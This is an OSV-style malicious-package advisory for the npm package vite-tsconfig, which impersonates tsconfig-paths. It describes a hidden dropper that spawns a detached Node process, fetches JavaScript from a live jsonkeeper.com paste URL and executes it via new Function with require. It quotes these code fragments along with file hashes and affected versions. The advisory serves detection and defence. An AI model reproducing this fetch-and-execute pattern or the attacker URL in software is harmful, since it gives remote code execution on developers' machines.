{"id":"MAL-2026-5576","summary":"Malicious code in vite-tsconfig (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (88e76d2cfe72140b4419a881bd3271d2fb1f246444a8418f6decfd81a76dd17c)\nPackage impersonates the popular `tsconfig-paths` library (description: 'Load node modules according to tsconfig paths') but ships a hidden remote-code-execution dropper. The exported `configJson` API in lib/index.js spawns lib/mapProps.js as a detached Node subprocess with `child_process.spawn('node', [script,...], {detached:true, stdio:'ignore'})`. mapProps.js performs `axios.get('https://www.jsonkeeper.com/b/LVKHJ')`, reads `response.data.Cookie`, and executes the returned string with `new Function('require', s)(require)` — opaque attacker-controlled JavaScript runs with full Node privileges and access to `require`. The fetch is retried up to 5 times. The dropper is disguised by a fake local `process` object shadowing Node's global (`const process = { env: { DEV_API_KEY: 'https://www.jsonkeeper.com/b/LVKHJ', DEV_SECRET_KEY: 'x-secret-key', DEV_SECRET_VALUE: '_' } }`) so the URL and header look like benign environment-variable lookups, and by reading the payload from a field named `Cookie` to mimic session handling. lib/register.js even prints 'vite-json will be skipped', revealing inconsistent internal naming. The fetch source jsonkeeper.com is an anonymous mutable paste host with no integrity verification, allowing the attacker to swap the executed payload at any time.\n","modified":"2026-06-12T20:01:58.011223305Z","published":"2026-06-11T05:21:54Z","database_specific":{"malicious-packages-origins":[{"versions":["1.1.0"],"source":"amazon-inspector","sha256":"142b4a600291ebf355bb7915c082c34b329e58026dc3c1f181a5b1865c16cff9","import_time":"2026-06-11T05:41:11.175888394Z","id":"IN-MAL-2026-005599","modified_time":"2026-06-11T05:21:54Z"},{"source":"amazon-inspector","sha256":"75d47f96b6bb9c1d8c2ddfdf5ae6690d548ad7e02082b3fae8a34e839fe68541","import_time":"2026-06-12T19:43:38.888223317Z","id":"IN-MAL-2026-005839","modified_time":"2026-06-12T19:03:03Z","versions":["1.1.3"]},{"id":"IN-MAL-2026-005834","modified_time":"2026-06-12T19:02:57Z","versions":["1.1.2"],"source":"amazon-inspector","sha256":"88e76d2cfe72140b4419a881bd3271d2fb1f246444a8418f6decfd81a76dd17c","import_time":"2026-06-12T19:43:38.324868664Z"}]},"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/vite-tsconfig/v/1.1.0"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vite-tsconfig/v/1.1.3"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/vite-tsconfig/v/1.1.2"}],"affected":[{"package":{"name":"vite-tsconfig","ecosystem":"npm","purl":"pkg:npm/vite-tsconfig"},"versions":["1.1.0","1.1.3","1.1.2"],"database_specific":{"source":"https://github.com/ossf/malicious-packages/blob/main/osv/malicious/npm/vite-tsconfig/MAL-2026-5576.json","cwes":[{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"name":"Embedded Malicious Code","cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature."},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"lib/mapProps.js","sha256":"c3c20201b376f76b2f4c08ed64da39f703448f318f584f358007591ad3f9bcd0","tlsh":"1c21124f757ca0a8017013f5a72be426f965643f300290d5739cc7a21f3655da182fde"},{"path":"lib/config-loader.js","sha256":"94c1ab6d8ceb818c37f7cd023dcbf42d4e0513874b9ec3306f1f3b7ad9625c81","tlsh":"5d81435b6ad4a9e600b19b64d62bd016ff702f77230680a2793cd1d41f39844a1e6efa"}],"package_integrity":[{"hashes":{"sha1":"d47d8cc3c868762e31da685a407b3f3d3c94b2e8","sha512_sri":"sha512-9KV5foA7sax35F5hcVBu8eAb5f1c+79CzQrV81Kktx7wrTF5Z7rOynTfHZf0T0Cb9qi9ghA9mr9AZwSLmNljWA=="},"filename":"vite-tsconfig-1.1.0.tgz"}]}}}],"schema_version":"1.7.5","credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}